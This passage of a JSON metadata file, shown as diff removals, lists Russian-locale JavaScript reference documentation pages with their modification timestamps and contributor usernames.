- "contributors": [
- "shlangus"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/search": {
- "modified": "2020-10-15T22:00:25.665Z",
- "contributors": [
- "fax1ty"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/species": {
- "modified": "2019-03-23T22:50:55.253Z",
- "contributors": [
- "nakhodkiin",
- "pk.prog",
- "neutral"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/split": {
- "modified": "2020-10-15T22:05:40.003Z",
- "contributors": [
- "0x0071"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive": {
- "modified": "2020-10-15T21:55:06.866Z",
- "contributors": [
- "boxa6",
- "nakhodkiin",
- "gibson"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/toStringTag": {
- "modified": "2020-10-15T22:22:55.953Z",
- "contributors": [
- "vkorzhova"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/unscopables": {
- "modified": "2020-10-15T22:00:25.901Z",
- "contributors": [
- "fax1ty"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/valueOf": {
- "modified": "2019-03-23T22:50:49.481Z",
- "contributors": [
- "SphinxKnight",
- "neutral"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/SyntaxError": {
- "modified": "2019-03-23T23:08:27.309Z",
- "contributors": [
- "VladimirDeminenko",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype": {
- "modified": "2019-03-23T23:08:31.199Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/TypeError": {
- "modified": "2020-10-15T21:30:28.885Z",
- "contributors": [
- "Roman-Kosov",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/TypeError/prototype": {
- "modified": "2019-03-23T23:08:29.800Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/TypedArray": {
- "modified": "2020-10-15T21:48:29.544Z",
- "contributors": [
- "pk.prog",
- "arai"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/TypedArray/@@species": {
- "modified": "2019-03-23T22:25:44.388Z",
- "contributors": [
- "pk.prog"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT": {
- "modified": "2019-03-23T22:25:40.817Z",
- "contributors": [
- "pk.prog"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/TypedArray/join": {
- "modified": "2019-03-23T22:26:41.183Z",
- "contributors": [
- "pk.prog"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/TypedArray/prototype": {
- "modified": "2020-10-15T21:49:43.029Z",
- "contributors": [
- "pk.prog"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/TypedArray/set": {
- "modified": "2019-03-23T22:28:36.546Z",
- "contributors": [
- "Mototroller",
- "dickclaus"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/URIError": {
- "modified": "2019-03-23T23:08:25.974Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/URIError/prototype": {
- "modified": "2019-03-23T23:08:26.327Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Uint16Array": {
- "modified": "2020-10-15T21:59:37.871Z",
- "contributors": [
- "pk.prog"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Uint32Array": {
- "modified": "2020-10-15T21:59:38.707Z",
- "contributors": [
- "pk.prog"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Uint8Array": {
- "modified": "2020-10-15T21:59:38.914Z",
- "contributors": [
- "MuradAz",
- "pk.prog"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray": {
- "modified": "2019-03-18T21:10:47.382Z",
- "contributors": [
- "InoY",
- "tz4678"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WeakMap": {
- "modified": "2020-10-15T21:33:46.571Z",
- "contributors": [
- "oleksandrstarov",
- "altpoint",
- "lexxl",
- "YozhEzhi",
- "kan.a",
- "icw82",
- "zamuka",
- "RumyantsevMichael",
- "casfcitizen",
- "restrry",
- "shvaikalesh",
- "hellboy81"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WeakMap/clear": {
- "modified": "2019-03-23T22:45:00.856Z",
- "contributors": [
- "teoli",
- "WispProxy",
- "casfcitizen"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WeakMap/delete": {
- "modified": "2019-03-23T22:44:55.757Z",
- "contributors": [
- "SphinxKnight",
- "casfcitizen"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WeakMap/get": {
- "modified": "2019-03-23T22:44:52.022Z",
- "contributors": [
- "SphinxKnight",
- "casfcitizen"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WeakMap/has": {
- "modified": "2019-03-23T22:44:53.494Z",
- "contributors": [
- "SphinxKnight",
- "casfcitizen"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WeakMap/prototype": {
- "modified": "2020-10-15T22:08:59.129Z",
- "contributors": [
- "kan.a"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WeakMap/set": {
- "modified": "2019-03-23T22:44:54.866Z",
- "contributors": [
- "SphinxKnight",
- "casfcitizen"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WeakSet": {
- "modified": "2020-10-15T21:46:04.634Z",
- "contributors": [
- "YozhEzhi",
- "stRavens",
- "fscholz"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WeakSet/add": {
- "modified": "2020-10-15T21:46:05.423Z",
- "contributors": [
- "YozhEzhi",
- "stRavens"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WeakSet/delete": {
- "modified": "2019-03-23T22:33:36.783Z",
- "contributors": [
- "stRavens"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WeakSet/has": {
- "modified": "2019-03-23T22:33:37.092Z",
- "contributors": [
- "stRavens"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WeakSet/prototype": {
- "modified": "2019-03-23T22:33:26.886Z",
- "contributors": [
- "stRavens"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WebAssembly": {
- "modified": "2019-03-23T22:09:24.539Z",
- "contributors": [
- "warsan",
- "Fingasss",
- "curdwithraisins"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WebAssembly/Table": {
- "modified": "2020-10-15T22:28:03.728Z",
- "contributors": [
- "amuzalevskiy"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WebAssembly/compile": {
- "modified": "2020-10-15T22:05:22.747Z",
- "contributors": [
- "warsan"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming": {
- "modified": "2020-10-15T22:05:24.687Z",
- "contributors": [
- "warsan"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/decodeURI": {
- "modified": "2020-10-15T21:36:41.028Z",
- "contributors": [
- "boxa6",
- "KTatyana",
- "dimon.durak"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/decodeURIComponent": {
- "modified": "2020-10-15T21:32:41.332Z",
- "contributors": [
- "boxa6",
- "KTatyana",
- "hellboy81"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/encodeURI": {
- "modified": "2020-10-15T21:32:41.734Z",
- "contributors": [
- "CoruNethron",
- "boxa6",
- "gvammer",
- "RuslanKurtjanyk",
- "BychekRU",
- "johniek"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/encodeURIComponent": {
- "modified": "2020-03-12T19:42:09.083Z",
- "contributors": [
- "ivanson",
- "SlavaJan",
- "alx-khramov",
- "redveronika",
- "BychekRU"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/escape": {
- "modified": "2020-03-12T19:42:22.847Z",
- "contributors": [
- "L-st"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/eval": {
- "modified": "2020-10-15T21:36:50.892Z",
- "contributors": [
- "teleskop150750",
- "rookhive",
- "nochnoy",
- "boxa6",
- "Kassaila",
- "Mumin0v",
- "Stejok",
- "lazy-code",
- "Kesantielu",
- "pankov",
- "BychekRU",
- "KTatyana",
- "Bogdan92"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/globalThis": {
- "modified": "2020-10-15T22:22:38.335Z",
- "contributors": [
- "almaceleste",
- "ekirpichyov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/isFinite": {
- "modified": "2020-10-15T21:34:22.861Z",
- "contributors": [
- "boxa6",
- "pk.prog",
- "keepon99",
- "RinatMullayanov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/isNaN": {
- "modified": "2020-10-15T21:18:00.962Z",
- "contributors": [
- "boxa6",
- "deadem",
- "arogachev",
- "DrTantal",
- "toxahak",
- "igor4949i",
- "torbasow",
- "SphinxKnight",
- "fscholz",
- "Troynov",
- "teoli",
- "Dionys",
- "Sheppy"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/null": {
- "modified": "2020-10-15T21:29:52.036Z",
- "contributors": [
- "yar85",
- "YozhEzhi",
- "boxa6",
- "SphinxKnight",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/parseFloat": {
- "modified": "2020-10-15T21:31:40.524Z",
- "contributors": [
- "boxa6",
- "iota77",
- "zhvirblis",
- "pk.prog",
- "KTatyana",
- "schoonc",
- "PC-Contra"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/parseInt": {
- "modified": "2020-10-15T21:31:24.544Z",
- "contributors": [
- "boxa6",
- "pk.prog",
- "Natalya_Surikova",
- "KTatyana",
- "Acknowhow",
- "oshilan",
- "raspberry59"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/undefined": {
- "modified": "2020-10-15T21:29:55.851Z",
- "contributors": [
- "almaceleste",
- "boxa6",
- "YozhEzhi",
- "sasd97",
- "SphinxKnight",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/unescape": {
- "modified": "2020-03-12T19:40:42.425Z",
- "contributors": [
- "Mishman"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/uneval": {
- "modified": "2020-10-15T21:32:06.154Z",
- "contributors": [
- "boxa6",
- "teoli",
- "maxbarbul",
- "fscholz",
- "Correcter"
- ]
- },
- "Web/JavaScript/Reference/Iteration_protocols": {
- "modified": "2020-03-12T19:40:23.617Z",
- "contributors": [
- "Ostanioni",
- "AliaksandrZahorski",
- "nikolai-shabalin",
- "SphinxKnight",
- "asaskevich",
- "petanisimov",
- "fscholz",
- "hindmost"
- ]
- },
- "Web/JavaScript/Reference/Lexical_grammar": {
- "modified": "2020-10-09T04:21:50.644Z",
- "contributors": [
- "demid.kopan",
- "salaiyuliya",
- "almaceleste",
- "uxenus",
- "Vukto",
- "maxno62",
- "Pandemoniumus",
- "AlexeyVasilievE",
- "glum-psyche",
- "ValdemarTerte",
- "kdex",
- "pk.prog",
- "Frenk1",
- "MichaelBag",
- "gremlinLee"
- ]
- },
- "Web/JavaScript/Reference/Operators": {
- "modified": "2020-03-12T19:38:03.910Z",
- "contributors": [
- "the-toxic",
- "pk.prog",
- "SphinxKnight",
- "teoli",
- "Mingun",
- "ethertank"
- ]
- },
- "Web/JavaScript/Reference/Operators/Addition": {
- "modified": "2020-10-15T22:31:44.228Z",
- "contributors": [
- "DarkExodusXX",
- "Lifamen"
- ]
- },
- "Web/JavaScript/Reference/Operators/Addition_assignment": {
- "modified": "2020-10-15T22:33:40.126Z",
- "contributors": [
- "DarkExodusXX"
- ]
- },
- "Web/JavaScript/Reference/Operators/Arithmetic_Operators": {
- "modified": "2020-10-15T21:14:39.538Z",
- "contributors": [
- "Nichon4",
- "fscholz",
- "wbamberg",
- "MedvedevWeb",
- "kachid",
- "shark_ate_my_shorts",
- "ktsabolov",
- "BychekRU",
- "Anthelion",
- "Aleksej",
- "teoli",
- "Dionys",
- "karasiov"
- ]
- },
- "Web/JavaScript/Reference/Operators/Assignment_Operators": {
- "modified": "2020-03-12T19:39:48.712Z",
- "contributors": [
- "JasonRammoray",
- "Piterden",
- "Siteograf",
- "AlexChuev",
- "dtretyakov",
- "SphinxKnight",
- "BurkovBA"
- ]
- },
- "Web/JavaScript/Reference/Operators/Bitwise_AND": {
- "modified": "2020-10-19T04:55:04.550Z",
- "contributors": [
- "elkabelaya"
- ]
- },
- "Web/JavaScript/Reference/Operators/Bitwise_Operators": {
- "modified": "2020-03-12T19:37:00.110Z",
- "contributors": [
- "CoruNethron",
- "kss555",
- "joezavtra",
- "d1soft",
- "byshik",
- "AlekKras",
- "angyvolin",
- "artem328",
- "goodwin64",
- "tselishev-semen",
- "dtretyakov",
- "fscholz",
- "teoli",
- "karasiov"
- ]
- },
- "Web/JavaScript/Reference/Operators/Decrement": {
- "modified": "2020-10-15T22:35:06.680Z",
- "contributors": [
- "dikovinki"
- ]
- },
- "Web/JavaScript/Reference/Operators/Destructuring_assignment": {
- "modified": "2019-03-18T20:41:31.882Z",
- "contributors": [
- "zziger",
- "Beliarh",
- "InoY",
- "kdex",
- "shapkarin",
- "he11b0rn",
- "wa-Nadoo",
- "e-omo",
- "y.ivashchenko",
- "SphinxKnight",
- "dtretyakov"
- ]
- },
- "Web/JavaScript/Reference/Operators/Nullish_coalescing_operator": {
- "modified": "2020-11-06T20:31:05.880Z",
- "contributors": [
- "qwerty.wasd.dev",
- "notacircle"
- ]
- },
- "Web/JavaScript/Reference/Operators/Object_initializer": {
- "modified": "2020-03-12T19:46:20.455Z",
- "contributors": [
- "EduardBedratyi",
- "Nymph",
- "severn101",
- "curdwithraisins"
- ]
- },
- "Web/JavaScript/Reference/Operators/Operator_Precedence": {
- "modified": "2020-06-21T17:36:11.552Z",
- "contributors": [
- "Yialo",
- "nakhodkiin",
- "synth",
- "Ihor92",
- "BychekRU",
- "Aleksej",
- "fscholz",
- "mcmimik",
- "teoli",
- "TotalAMD",
- "hazestalker"
- ]
- },
- "Web/JavaScript/Reference/Operators/Optional_chaining": {
- "modified": "2020-10-15T22:22:53.487Z",
- "contributors": [
- "InoY",
- "rookhive",
- "Kassaila",
- "Dimon24021993"
- ]
- },
- "Web/JavaScript/Reference/Operators/Property_Accessors": {
- "modified": "2020-11-28T14:23:33.816Z",
- "contributors": [
- "ialexi-bl",
- "injashkin",
- "sbadulin",
- "karatheodory",
- "BychekRU"
- ]
- },
- "Web/JavaScript/Reference/Operators/Spread_syntax": {
- "modified": "2020-10-15T22:09:59.030Z",
- "contributors": [
- "Next-Ra",
- "khikmat1970",
- "s0da",
- "AliaksandrZahorski",
- "svezr",
- "Ostanioni",
- "Acrom7",
- "R-Oscar",
- "DenisIgnatchenko",
- "dev1am",
- "ue4prog"
- ]
- },
- "Web/JavaScript/Reference/Operators/async_function": {
- "modified": "2020-03-12T19:46:03.207Z",
- "contributors": [
- "utlov",
- "myscode",
- "nakhodkiin",
- "ahtohbi4"
- ]
- },
- "Web/JavaScript/Reference/Operators/await": {
- "modified": "2020-03-12T19:46:19.108Z",
- "contributors": [
- "Ignat",
- "nakhodkiin",
- "Vladimir-Vinogradov",
- "matvey-b",
- "XaveScor",
- "redishko"
- ]
- },
- "Web/JavaScript/Reference/Operators/class": {
- "modified": "2020-10-07T05:22:57.052Z",
- "contributors": [
- "nikolasmelui",
- "utlov",
- "aliaksandr-s"
- ]
- },
- "Web/JavaScript/Reference/Operators/delete": {
- "modified": "2020-03-12T19:38:01.140Z",
- "contributors": [
- "tarasovAG",
- "nurbek-ab",
- "fscholz",
- "teoli",
- "nurbek.ab"
- ]
- },
- "Web/JavaScript/Reference/Operators/function": {
- "modified": "2020-10-15T21:29:24.840Z",
- "contributors": [
- "utlov",
- "aleksandrpnshkn",
- "severyanov",
- "KTatyana",
- "SphinxKnight",
- "teoli",
- "AlexyAV"
- ]
- },
- "Web/JavaScript/Reference/Operators/function*": {
- "modified": "2020-03-12T19:43:34.797Z",
- "contributors": [
- "utlov",
- "KTatyana",
- "nurbek-ab"
- ]
- },
- "Web/JavaScript/Reference/Operators/in": {
- "modified": "2020-10-15T21:34:23.027Z",
- "contributors": [
- "ekirpichyov",
- "utlov",
- "Nvisual",
- "vitaliylag",
- "Natalya_Surikova",
- "Frenk1"
- ]
- },
- "Web/JavaScript/Reference/Operators/instanceof": {
- "modified": "2020-10-15T21:42:40.346Z",
- "contributors": [
- "iGanza429",
- "dima74",
- "vitaliylag",
- "lenkasoft",
- "c01nd01r",
- "spmpl"
- ]
- },
- "Web/JavaScript/Reference/Operators/new": {
- "modified": "2020-03-12T19:42:17.777Z",
- "contributors": [
- "mikhail.makarov",
- "msherstobitow",
- "FlashbangSW",
- "pk.prog",
- "Guria",
- "svarnoi420",
- "mazhuravlev"
- ]
- },
- "Web/JavaScript/Reference/Operators/new.target": {
- "modified": "2020-03-12T19:42:44.140Z",
- "contributors": [
- "bakugod",
- "vitaliylag",
- "Isk1n",
- "uleming"
- ]
- },
- "Web/JavaScript/Reference/Operators/super": {
- "modified": "2020-11-02T05:32:18.854Z",
- "contributors": [
- "ITheCorgi",
- "almaceleste",
- "boxa6",
- "chuckis",
- "YozhEzhi",
- "Eugene",
- "Renay",
- "Axepuff",
- "rinbik",
- "quassnoi",
- "sgrogov",
- "adamgrey28",
- "loki2d",
- "spmpl",
- "uleming"
- ]
- },
- "Web/JavaScript/Reference/Operators/this": {
- "modified": "2020-10-15T21:34:17.291Z",
- "contributors": [
- "almaceleste",
- "dmarkin",
- "HermesC",
- "smlkA",
- "JS_Johny",
- "marinazareka",
- "sbadulin",
- "Stejok",
- "aprostya",
- "dChunikhin",
- "DayFan",
- "olegkarpovich",
- "alexfromvl",
- "Viktoria_Slesarchuk",
- "eXukraine",
- "AlexO",
- "AliaksandrSith",
- "AlexKhram",
- "vovek",
- "wertlex",
- "Mary_Gorgol"
- ]
- },
- "Web/JavaScript/Reference/Operators/typeof": {
- "modified": "2020-10-15T21:29:57.988Z",
- "contributors": [
- "Bonerdelli",
- "dima74",
- "Sergey.Vdovareize",
- "Ohar",
- "SphinxKnight",
- "teoli",
- "kvantor"
- ]
- },
- "Web/JavaScript/Reference/Operators/void": {
- "modified": "2020-03-12T19:40:33.655Z",
- "contributors": [
- "artskar",
- "hlomzik",
- "AlexChuev"
- ]
- },
- "Web/JavaScript/Reference/Operators/yield": {
- "modified": "2020-11-07T03:00:56.468Z",
- "contributors": [
- "antonzahariev",
- "ekirpichyov",
- "YozhEzhi",
- "dtretyakov"
- ]
- },
- "Web/JavaScript/Reference/Operators/yield*": {
- "modified": "2020-10-10T05:41:53.806Z",
- "contributors": [
- "ialexi-bl",
- "utlov",
- "d4rkm3z"
- ]
- },
- "Web/JavaScript/Reference/Operators/Группировка": {
- "modified": "2020-10-15T21:45:23.257Z",
- "contributors": [
- "synth",
- "BychekRU"
- ]
- },
- "Web/JavaScript/Reference/Operators/Конвейерный_оператор": {
- "modified": "2020-10-15T22:07:33.663Z",
- "contributors": [
- "nakhodkiin",
- "ALegostaeva"
- ]
- },
- "Web/JavaScript/Reference/Operators/Логические_операторы": {
- "modified": "2020-03-12T19:42:07.763Z",
- "contributors": [
- "Coo1Cmd",
- "BychekRU",
- "Frenk1",
- "alexbaumgertner",
- "SergeyShpak"
- ]
- },
- "Web/JavaScript/Reference/Operators/Оператор_Запятая": {
- "modified": "2020-10-15T21:21:15.661Z",
- "contributors": [
- "synth",
- "echelonka",
- "OlegTar",
- "cotolany",
- "br3t",
- "alnimu",
- "Frenk1",
- "fscholz",
- "Ohar",
- "teoli",
- "nurbek.ab"
- ]
- },
- "Web/JavaScript/Reference/Operators/Операторы_сравнения": {
- "modified": "2020-09-29T02:39:38.965Z",
- "contributors": [
- "nikolasmelui",
- "X7Becka",
- "nakhodkiin",
- "BychekRU",
- "nbaksalyar",
- "CatWhoCode"
- ]
- },
- "Web/JavaScript/Reference/Operators/Присваивание": {
- "modified": "2020-10-15T22:33:39.549Z",
- "contributors": [
- "kucherenkoag",
- "DarkExodusXX"
- ]
- },
- "Web/JavaScript/Reference/Operators/Условный_оператор": {
- "modified": "2020-09-05T16:58:34.995Z",
- "contributors": [
- "ikzsl",
- "NeoFSociety",
- "lozzeal",
- "DonRai",
- "onatalie",
- "SlavaJan",
- "dmitrydanilich",
- "KTatyana"
- ]
- },
- "Web/JavaScript/Reference/Statements": {
- "modified": "2020-03-12T19:38:08.960Z",
- "contributors": [
- "SphinxKnight",
- "teoli",
- "Mingun",
- "trevorh"
- ]
- },
- "Web/JavaScript/Reference/Statements/Empty": {
- "modified": "2020-04-12T07:22:12.597Z",
- "contributors": [
- "arnoldovich",
- "otj40",
- "nakhodkiin",
- "BychekRU"
- ]
- },
- "Web/JavaScript/Reference/Statements/async_function": {
- "modified": "2020-10-15T21:52:51.275Z",
- "contributors": [
- "AppleAlex",
- "nikolai-shabalin",
- "parusev",
- "sazhnevdunice",
- "mmameko",
- "epodivilov",
- "rsvato",
- "glowlh",
- "torbasow",
- "nakhodkiin",
- "BondarenkoAlex",
- "tcheburator",
- "curdwithraisins"
- ]
- },
- "Web/JavaScript/Reference/Statements/break": {
- "modified": "2020-03-12T19:39:49.381Z",
- "contributors": [
- "ConstantineZz",
- "SphinxKnight",
- "4eb0da"
- ]
- },
- "Web/JavaScript/Reference/Statements/class": {
- "modified": "2020-10-07T05:30:01.345Z",
- "contributors": [
- "nikolasmelui",
- "torbasow",
- "utlov",
- "curdwithraisins"
- ]
- },
- "Web/JavaScript/Reference/Statements/const": {
- "modified": "2020-10-15T21:30:33.647Z",
- "contributors": [
- "DASenkiv",
- "pepelsbey",
- "pk.prog",
- "torbasow",
- "WispProxy",
- "Grumvol",
- "xfg",
- "gibson",
- "crvst",
- "SphinxKnight",
- "KiraAndMaxim"
- ]
- },
- "Web/JavaScript/Reference/Statements/continue": {
- "modified": "2020-04-11T02:20:58.132Z",
- "contributors": [
- "pefbrute",
- "alextretyak",
- "SphinxKnight",
- "4eb0da"
- ]
- },
- "Web/JavaScript/Reference/Statements/debugger": {
- "modified": "2020-03-12T19:45:32.750Z",
- "contributors": [
- "Svetzayats",
- "david-baghdasaryan",
- "paratagas"
- ]
- },
- "Web/JavaScript/Reference/Statements/default": {
- "modified": "2020-10-15T21:54:01.294Z",
- "contributors": [
- "ekirpichyov",
- "AntonPtitsyn"
- ]
- },
- "Web/JavaScript/Reference/Statements/do...while": {
- "modified": "2020-10-15T21:50:00.301Z",
- "contributors": [
- "Kilzar",
- "ekirpichyov",
- "102"
- ]
- },
- "Web/JavaScript/Reference/Statements/export": {
- "modified": "2020-10-15T21:44:56.789Z",
- "contributors": [
- "almaceleste",
- "SphinxKnight",
- "ravbetsky",
- "Roman-Kosov",
- "marat-curious",
- "maksugr",
- "HaffASE",
- "Checkmatez",
- "maxmind",
- "M1rotvorez",
- "sunsetninja",
- "frodomogoni",
- "jeneg"
- ]
- },
- "Web/JavaScript/Reference/Statements/for": {
- "modified": "2020-03-12T19:40:21.266Z",
- "contributors": [
- "farvater2",
- "romankrru",
- "BychekRU",
- "ascheyloven"
- ]
- },
- "Web/JavaScript/Reference/Statements/for-await...of": {
- "modified": "2020-10-15T22:21:30.706Z",
- "contributors": [
- "imciflam"
- ]
- },
- "Web/JavaScript/Reference/Statements/for...in": {
- "modified": "2020-03-12T19:42:44.128Z",
- "contributors": [
- "camelos",
- "Miracle93",
- "olvin-hh",
- "AliaksandrZahorski",
- "Jarith",
- "UriShlomov",
- "a1ia5",
- "BychekRU"
- ]
- },
- "Web/JavaScript/Reference/Statements/for...of": {
- "modified": "2020-10-15T21:31:19.454Z",
- "contributors": [
- "iacade",
- "alx-khramov",
- "rookhive",
- "AliaksandrZahorski",
- "becha",
- "SphinxKnight",
- "iomtt94",
- "babichss",
- "ZeroUnderscoreOu",
- "BychekRU",
- "dtretyakov"
- ]
- },
- "Web/JavaScript/Reference/Statements/function": {
- "modified": "2020-10-15T21:39:37.186Z",
- "contributors": [
- "YozhEzhi",
- "4rontender",
- "KTatyana",
- "forestbird",
- "BychekRU"
- ]
- },
- "Web/JavaScript/Reference/Statements/function*": {
- "modified": "2020-03-12T19:39:52.436Z",
- "contributors": [
- "SphinxKnight",
- "Sajag",
- "mrOrlando",
- "MaksymI",
- "kdex",
- "deman",
- "MalkavianMax",
- "BychekRU",
- "dtretyakov"
- ]
- },
- "Web/JavaScript/Reference/Statements/if...else": {
- "modified": "2020-03-12T19:42:47.988Z",
- "contributors": [
- "satansdeer",
- "GraceAredel",
- "alexbaumgertner",
- "ultrinnan"
- ]
- },
- "Web/JavaScript/Reference/Statements/import": {
- "modified": "2020-10-15T21:32:02.235Z",
- "contributors": [
- "Akmatworld",
- "almaceleste",
- "flancer64",
- "Yialo",
- "SphinxKnight",
- "ZzDmitry",
- "Reinerok",
- "InoY",
- "pibodi",
- "torbasow",
- "Ingverd",
- "papadima",
- "bad4iz",
- "nikolaifedorov",
- "maxmind",
- "standy",
- "vvalgis",
- "sutangu",
- "kurzgame"
- ]
- },
- "Web/JavaScript/Reference/Statements/import.meta": {
- "modified": "2020-10-15T22:22:14.576Z",
- "contributors": [
- "Luanre"
- ]
- },
- "Web/JavaScript/Reference/Statements/label": {
- "modified": "2020-10-15T21:30:43.430Z",
- "contributors": [
- "ekirpichyov",
- "SphinxKnight",
- "4eb0da"
- ]
- },
- "Web/JavaScript/Reference/Statements/let": {
- "modified": "2020-03-12T19:38:07.887Z",
- "contributors": [
- "DASenkiv",
- "skrikl",
- "rinbik",
- "avernikoz",
- "Stejok",
- "Kostandy",
- "GaidaiAndrii",
- "kdex",
- "Yumeiro",
- "WispProxy",
- "titanium-iridium",
- "andbas",
- "iseeyou911",
- "smichrissoft",
- "stek29",
- "Tvortsa",
- "fscholz",
- "teoli",
- "nurbek.ab"
- ]
- },
- "Web/JavaScript/Reference/Statements/return": {
- "modified": "2020-10-15T21:38:04.879Z",
- "contributors": [
- "ekirpichyov",
- "KTatyana",
- "Biosneakers",
- "BychekRU",
- "janemel",
- "The-Raven"
- ]
- },
- "Web/JavaScript/Reference/Statements/switch": {
- "modified": "2020-10-15T21:31:26.209Z",
- "contributors": [
- "almaceleste",
- "alfill",
- "Stejok",
- "Natalya_Surikova",
- "4eb0da"
- ]
- },
- "Web/JavaScript/Reference/Statements/throw": {
- "modified": "2020-03-12T19:39:43.115Z",
- "contributors": [
- "albrin",
- "Roovwhite",
- "ZavodPodushek",
- "Natalya_Surikova",
- "sergey.bakaev",
- "SphinxKnight",
- "hellboy81"
- ]
- },
- "Web/JavaScript/Reference/Statements/try...catch": {
- "modified": "2020-05-24T09:50:11.525Z",
- "contributors": [
- "ialexi-bl",
- "smitt14ua",
- "DeekHalden",
- "YaroslavSelevanov",
- "illya-s",
- "x1unix",
- "DavidWebb",
- "nikitaermishin",
- "NikitaCoder"
- ]
- },
- "Web/JavaScript/Reference/Statements/var": {
- "modified": "2020-10-15T21:40:16.057Z",
- "contributors": [
- "ekirpichyov",
- "letulip",
- "AlexKhram",
- "shalimski",
- "Saviloff"
- ]
- },
- "Web/JavaScript/Reference/Statements/while": {
- "modified": "2020-03-12T19:44:53.115Z",
- "contributors": [
- "KTatyana"
- ]
- },
- "Web/JavaScript/Reference/Statements/with": {
- "modified": "2020-03-12T19:46:20.775Z",
- "contributors": [
- "asv7780",
- "superpuper32",
- "Waleron96",
- "animhotep"
- ]
- },
- "Web/JavaScript/Reference/Statements/Блок": {
- "modified": "2020-03-14T08:00:39.543Z",
- "contributors": [
- "rookhive",
- "Aliq"
- ]
- },
- "Web/JavaScript/Reference/Strict_mode": {
- "modified": "2020-03-12T19:37:59.459Z",
- "contributors": [
- "almaceleste",
- "Yialo",
- "alexbs",
- "coxdn",
- "randomnf",
- "ris58h",
- "spixe37",
- "Sheppy",
- "karmagood",
- "alexdarc",
- "egor-sorokin",
- "hatroman",
- "Megabyteceer",
- "dimitryony",
- "WispProxy",
- "Natalya_Surikova",
- "compsphere",
- "Grumvol",
- "torbasow",
- "fscholz",
- "zlumyo",
- "akudiyar",
- "fvtsfedu",
- "r00ger",
- "egml",
- "AntonBezrukov",
- "uleming"
- ]
- },
- "Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode": {
- "modified": "2020-03-12T19:42:24.126Z",
- "contributors": [
- "almaceleste",
- "coxdn",
- "nakhodkiin",
- "akmil",
- "tselishev-semen"
- ]
- },
- "Web/JavaScript/Reference/Trailing_commas": {
- "modified": "2020-10-15T22:22:53.977Z",
- "contributors": [
- "leshkin",
- "ekirpichyov"
- ]
- },
- "Web/JavaScript/Reference/template_strings": {
- "modified": "2020-10-15T21:31:19.424Z",
- "contributors": [
- "DASenkiv",
- "sahmildzhakeev",
- "gendalf7771",
- "vaallery",
- "SphinxKnight",
- "Barss07",
- "AlexanderMikhnevich",
- "cawa-93",
- "dtretyakov"
- ]
- },
- "Web/JavaScript/Reference/Об": {
- "modified": "2020-03-12T19:43:40.535Z",
- "contributors": [
- "Sergey1"
- ]
- },
- "Web/JavaScript/Typed_arrays": {
- "modified": "2020-03-12T19:45:54.627Z",
- "contributors": [
- "shevchenko",
- "Imperat",
- "Bargamut",
- "redishko",
- "WispProxy",
- "Anomeon",
- "some_vlad",
- "Megabyteceer"
- ]
- },
- "Web/JavaScript/О_JavaScript": {
- "modified": "2020-03-12T19:40:51.750Z",
- "contributors": [
- "BychekRU",
- "IgorGilyazov"
- ]
- },
- "Web/Manifest": {
- "modified": "2020-10-15T21:52:44.707Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills",
- "bershanskiy",
- "ZolotoArtem",
- "Encamy",
- "SergeyMirvoda",
- "Eugeno",
- "Katarzina",
- "Kidsman",
- "suncitygirl",
- "curdwithraisins"
- ]
- },
